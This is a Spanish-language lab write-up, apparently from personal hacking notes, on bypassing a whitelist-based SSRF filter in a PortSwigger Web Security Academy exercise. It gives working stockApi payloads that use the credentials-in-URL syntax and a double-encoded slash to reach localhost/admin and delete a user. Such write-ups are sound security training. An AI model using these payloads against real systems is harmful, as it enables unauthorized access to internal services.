> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/ssrf/ssrf-with-whitelist-based-filter.md).
# SSRF con filtrado basado en lista blanca
Notas de SSRF con filtrado basado en lista blanca para laboratorios de PortSwigger Web Security Academy, incluido el flujo de explotación, pruebas de payloads, validación con Burp Suite y contexto de remediación.
### SSRF con filtro de entrada basado en lista blanca
La función de comprobación de stock envía solicitudes a un sistema interno. / El objetivo es modificar la URL usada en el `stockApi` parámetro para الوصول a la interfaz de administración ubicada en `HTTP://localhost/admin`, y luego eliminar al usuario **carlos**. / El desarrollador ha implementado una defensa anti-SSRF basada en una **lista blanca de hosts autorizados**, que debe ser eludida.
```javascript
stockApi=http://stock.weliketoshop.net:8080/product/stock/check?productId=1%26storeId=1
```
#### **Análisis del filtro**
La aplicación solo permite solicitudes al siguiente host:
```bash
stockApi=http://127.0.0.1/admin
```
Si cambiamos la URL a `localhost` o una dirección interna, obtenemos el error:
El host externo de comprobación de stock debe ser stock.weliketoshop.net
#### **Eludiendo la lista blanca**
La idea es usar la `username:password@host` sintaxis en las URL. / Este método nos permite **forzar que el host validado por la lista blanca aparezca en la parte de "authority"** mientras que en realidad se dirige la solicitud a `localhost`.
```bash
http://username:password@website.com
```
Carga útil usada:
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080
```
Con `/` (`%252f`) doble codificación, el servidor interpreta correctamente la parte redirigida a `localhost`.
Esto permite el acceso al panel de administración interno.
#### **Eliminación del usuario Carlos**
Una vez que el bypass funciona, la URL de eliminación se llama directamente:
{% code overflow="wrap" %}
```bash
stockApi=http://localhost:80%252f@stock.weliketoshop.net:8080/admin?delete=username=carlos
```
{% endcode %}
---
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